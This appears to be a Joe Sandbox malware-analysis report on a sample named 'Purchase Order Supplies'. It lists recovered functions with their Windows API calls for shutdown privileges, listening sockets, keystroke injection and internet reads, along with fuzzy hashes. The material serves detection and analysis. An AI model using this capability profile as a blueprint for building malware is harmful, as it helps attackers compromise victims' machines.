Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 98f4c2fc7d5190a102dff8da6c7f7f2ce98060079c96cc2befdfdb9e22cb46c5
Instruction ID: be2f20e56ad6067d3901123045cfbd822c21b1a63526fd223e6800805afbc9cb
Opcode Fuzzy Hash: 98f4c2fc7d5190a102dff8da6c7f7f2ce98060079c96cc2befdfdb9e22cb46c5
Instruction Fuzzy Hash: 06128E70A00609DFDF04DFA5C989AAEB3F5FF49300F244569E40AE7290EB35AE15DB60

Function 00CFEAA6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

Part of subcall function 00CAB736: GetCursorPos.USER32(000000FF), ref: 00CAB749
Part of subcall function 00CAB736: ScreenToClient.USER32(00000000,000000FF), ref: 00CAB766
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000001), ref: 00CAB78B
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000002), ref: 00CAB799

ReleaseCapture.USER32 ref: 00CFEB1A
SetWindowTextW.USER32(?,00000000), ref: 00CFEBC2
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00CFEBD5
NtdllDialogWndProc_W.NTDLL(?,00000202,?,?,00000000,00000001,?,?,?), ref: 00CFECAE

Strings

@GUI_DROPID, xrefs: 00CFEC05
@GUI_DRAGFILE, xrefs: 00CFEC49

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AsyncStateWindow$CaptureClientCursorDialogLongMessageNtdllProc_ReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 973565025-2107944366
Opcode ID: adf2c26ec8b8b74d19d94c7f2ca0afec9dba68b234837fa82dbbb06967d3677e
Instruction ID: 0ba4815d2f4f229acada3ea25e1b7d32b2f93ff593dbf13a7ce5a5cb1465e18c
Opcode Fuzzy Hash: adf2c26ec8b8b74d19d94c7f2ca0afec9dba68b234837fa82dbbb06967d3677e
Instruction Fuzzy Hash: 6251CD74104308AFD714EF24CC96FAA7BE5FB88744F00491DFA96972E2CB709905DB62

Function 00CD82D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCBEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CCBF0F
Part of subcall function 00CCBEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CCBF3C
Part of subcall function 00CCBEC3: GetLastError.KERNEL32 ref: 00CCBF49

ExitWindowsEx.USER32(?,00000000), ref: 00CD830C

Strings

SeShutdownPrivilege, xrefs: 00CD82DA
@, xrefs: 00CD82FF
, xrefs: 00CD82FA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 225baf80bd8080c86d99d2d28fa6d612b2ca644706237e51aeff64ce7ce73f0c
Instruction ID: 47db2a769884a31e925f245f311b9a9c3e9fbde527e87b25dcf86d474cf1b4c7
Opcode Fuzzy Hash: 225baf80bd8080c86d99d2d28fa6d612b2ca644706237e51aeff64ce7ce73f0c
Instruction Fuzzy Hash: C601A771B40315BBF768167D8C4BFBB72599B05F80F14042AFB67D23E1DE609D0991A4

Function 00CE91DC Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 00CE9235
WSAGetLastError.WS2_32(00000000), ref: 00CE9244
bind.WS2_32(00000000,?,00000010), ref: 00CE9260
listen.WS2_32(00000000,00000005), ref: 00CE926F
WSAGetLastError.WS2_32(00000000), ref: 00CE9289
closesocket.WS2_32(00000000), ref: 00CE929D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: f1163ed87b661a3d56dfb59c2a3a61723e9cef12f5041e5faf1140669046cbf9
Instruction ID: e59b89846d002192f6d6c29273f4d5231e1024dd185a7fd402967d8dcf488729
Opcode Fuzzy Hash: f1163ed87b661a3d56dfb59c2a3a61723e9cef12f5041e5faf1140669046cbf9
Instruction Fuzzy Hash: DF21AD31600611AFCB10EF64C885BAEB7A9EF44324F118159FA67AB3D1CB74AD42DB61

Function 00C9A0C0 Relevance: 8.0, APIs: 5, Instructions: 514COMMON

Download Yara Rule

APIs

Part of subcall function 00CB010A: std::exception::exception.LIBCMT ref: 00CB013E
Part of subcall function 00CB010A: __CxxThrowException@8.LIBCMT ref: 00CB0153

_memmove.LIBCMT ref: 00D03020
_memmove.LIBCMT ref: 00D03135
_memmove.LIBCMT ref: 00D031DC

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 851e4126b1b9518eb05cdb602539c4d7ca1bc4c1a60237dff6857f9b89a7b009
Instruction ID: a4c96f72fa57fba246433d090c0d2af9e721cf4ed21e9619f76595f357ba5695
Opcode Fuzzy Hash: 851e4126b1b9518eb05cdb602539c4d7ca1bc4c1a60237dff6857f9b89a7b009
Instruction Fuzzy Hash: C3029270A00209DFCF04DF69D9856AEB7F9EF49300F148069F80ADB295EB31DA55DBA1

Function 00CE96E2 Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CEACD3: inet_addr.WS2_32(00000000), ref: 00CEACF5

socket.WSOCK32(00000002,00000002,00000011), ref: 00CE973D
WSAGetLastError.WS2_32(00000000,00000000), ref: 00CE9760

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 8f7b677f8c646a69172c7bbb9abc922ea245b20a0de06360949ae2790471e88e
Instruction ID: 34867bf6c50149734896cec4413a24fa04596f769b71c4957110f60cfa3e4d1d
Opcode Fuzzy Hash: 8f7b677f8c646a69172c7bbb9abc922ea245b20a0de06360949ae2790471e88e
Instruction Fuzzy Hash: 9541E470A00215AFDB10AF28CC86E6E77EDEF45328F148448F956AB3D2CB749E019B91

Function 00CDF350 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00CDF37A
_wcscmp.LIBCMT ref: 00CDF3AA
_wcscmp.LIBCMT ref: 00CDF3BF
FindNextFileW.KERNEL32(00000000,?), ref: 00CDF3D0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00CDF3FE

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 9b378e43d4ec4f3dbd3c8ed9d1a26de7499e217bba3797c4a7efa24eccbaa397
Instruction ID: 71b05723863d676736afb14a66f93e5fddfa4097e91d2993207d541fe67f77c2
Opcode Fuzzy Hash: 9b378e43d4ec4f3dbd3c8ed9d1a26de7499e217bba3797c4a7efa24eccbaa397
Instruction Fuzzy Hash: 5B41B2356003029FC708DF28C491E9AB3E4FF49324F10456EEA6ACB3A1DB31E946CB91

Function 00CF20F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CF20EC,?,00CF22E0), ref: 00CF2104
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00CF2116

Strings

kernel32.dll, xrefs: 00CF20FF
GetProcessId, xrefs: 00CF2110

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: c0d4585ea7192604adad2f82284c2855af2ee4edce6fd9d3a4bbb8ee915fa98c
Instruction ID: befe35db47756a0e4d0518833f775b6e7e0a93bf8f021bb0a40eda4231c6407d
Opcode Fuzzy Hash: c0d4585ea7192604adad2f82284c2855af2ee4edce6fd9d3a4bbb8ee915fa98c
Instruction Fuzzy Hash: 9BD0A774400312AFD7205F61E80D65637E8EF04310B01C429F759D1254DB70C8C0CA30

Function 00CD4342 Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00CD439C
SetKeyboardState.USER32(00000080,?,00000001), ref: 00CD43B8
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00CD4425
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00CD4483

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: a684c3b75284cf72e9d833504aaa72ffbbfe60bb9a4eb49998adf7745dfd95bd
Instruction ID: 4aaa35611d50ed99d3ced518f4968fee7925ca8d5e32bbf49f5e7368baab1fd6
Opcode Fuzzy Hash: a684c3b75284cf72e9d833504aaa72ffbbfe60bb9a4eb49998adf7745dfd95bd
Instruction Fuzzy Hash: A541F5B0A00288ABEF289B659848BFEBBB5AB45311F04415BF795923C1C774CAC59762

Function 00CFEFA8 Relevance: 6.1, APIs: 4, Instructions: 80nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

GetCursorPos.USER32(?), ref: 00CFEFE2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00D0F3C3,?,?,?,?,?), ref: 00CFEFF7
GetCursorPos.USER32(?), ref: 00CFF041
NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,00D0F3C3,?,?,?), ref: 00CFF077

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
String ID:
API String ID: 1423138444-0
Opcode ID: ab718bbb0cc7136829399fce6d013d66326922e4b9df2ad76d12e7c84bb0b3c4
Instruction ID: 52d094e661cd5d4fd85c4c47d78ad5bfe5777a7f0e80ea144ab3c52ac00342d0
Opcode Fuzzy Hash: ab718bbb0cc7136829399fce6d013d66326922e4b9df2ad76d12e7c84bb0b3c4
Instruction Fuzzy Hash: 9E21DF35500118BFCB258F54C898EFE7BB6EF09754F044068FA05973A2CB319E52DBA1

Function 00CD220C Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00CD221E

Strings

|, xrefs: 00CD224E
(, xrefs: 00CD2264

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: a483e3c6e45405d07ec4dce70022c5d7359f287545143ce9f91fc2c1acf3f0be
Instruction ID: 485ffcb7d66734512a63b8a55c7aff6b9c7c2bd98486bfd35e06267fe917febe
Opcode Fuzzy Hash: a483e3c6e45405d07ec4dce70022c5d7359f287545143ce9f91fc2c1acf3f0be
Instruction Fuzzy Hash: F5320375A007059FC728CF69C480A6AB7F0FF58320B15C46EE5AADB7A1E770E941CB54

Function 00CAAD5C Relevance: 4.9, APIs: 3, Instructions: 378nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 00CAAE5E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 4e389374c4df51a42c4f60e6001a384452ad02b72842cd92db5728f611876f8e
Instruction ID: 2662adfe12ec0db98d6c1242e82db91f3caab1f02b9dc657a995ccfad6cfe92e
Opcode Fuzzy Hash: 4e389374c4df51a42c4f60e6001a384452ad02b72842cd92db5728f611876f8e
Instruction Fuzzy Hash: 57A16A6010420BBADB38AB2A8C88FBF395CEF43759B24452DF946D25E1DB25CD11E273

Function 00CE550C Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00CE4A1E,00000000), ref: 00CE55FD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00CE5629

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: d8284a79b58d883900c05f59635e966dd97330ccc78f3cffd3a476c831f2f84e
Instruction ID: af638fdc872c65a1612e0e871c4632ce04ad2127b5539acd97713d7776c423a0
Opcode Fuzzy Hash: d8284a79b58d883900c05f59635e966dd97330ccc78f3cffd3a476c831f2f84e
Instruction Fuzzy Hash: CD41D771500A49BFEB109E96CC85EBFB7BDEB4071CF10401AF615A6281DA709F41EB64

Function 00CDEA85 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CDEA95
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00CDEAEF
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00CDEB3C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 17e751a1129e7429ffa64e25748e846245f1f1a57d47705561cdaf302c9a6a59
Instruction ID: 2222caedce647cecf812eb39fb194289ee5123037309f5cc16f6842a601571dc
Opcode Fuzzy Hash: 17e751a1129e7429ffa64e25748e846245f1f1a57d47705561cdaf302c9a6a59
Instruction Fuzzy Hash: C0215E35A00218EFCB00EFA5D894AEEBBB8FF49314F14849AE945EB351DB31E945DB50

Function 00CD70AE Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00CD70D8
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00CD7115
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00CD711E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: c12a8af4d4c8aa2e274a763a778cc8baea8ab1a48bc869e8bb80b642ec4ffbcb
Instruction ID: 74d9c5074dd1cc66efb501e422503398f02628dcf97b59b8def1d892913751ba
Opcode Fuzzy Hash: c12a8af4d4c8aa2e274a763a778cc8baea8ab1a48bc869e8bb80b642ec4ffbcb
Instruction Fuzzy Hash: B611A5B1900329BEE7108BA8DC45FEF77BCEB08714F004656BA15E7290D3B49E0587E1

Function 00C96670 Relevance: 4.1, APIs: 2, Instructions: 1093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C967D0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 12160d39ee23300a8384e218a5b680e30ae77b517d54c3587ee89763f5da350e
Instruction ID: 22829c907e3a6ae34f37c2e246a1a5141b404fdfbdf616e37f986d62a950604a
Opcode Fuzzy Hash: 12160d39ee23300a8384e218a5b680e30ae77b517d54c3587ee89763f5da350e
Instruction Fuzzy Hash: CDA26974E01219DFCF24CF59C8846ADBBB1FF48314F2581AAE859AB390DB719E81DB50

Function 00CAAFB4 Relevance: 3.1, APIs: 2, Instructions: 82nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

Part of subcall function 00CAB155: GetWindowLongW.USER32(?,000000EB), ref: 00CAB166

GetParent.USER32(?), ref: 00D0F4B5
NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?,?,?,?,?,00CAADDD,?,?,?,00000006,?), ref: 00D0F52F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LongWindow$DialogNtdllParentProc_
String ID:
API String ID: 314495775-0
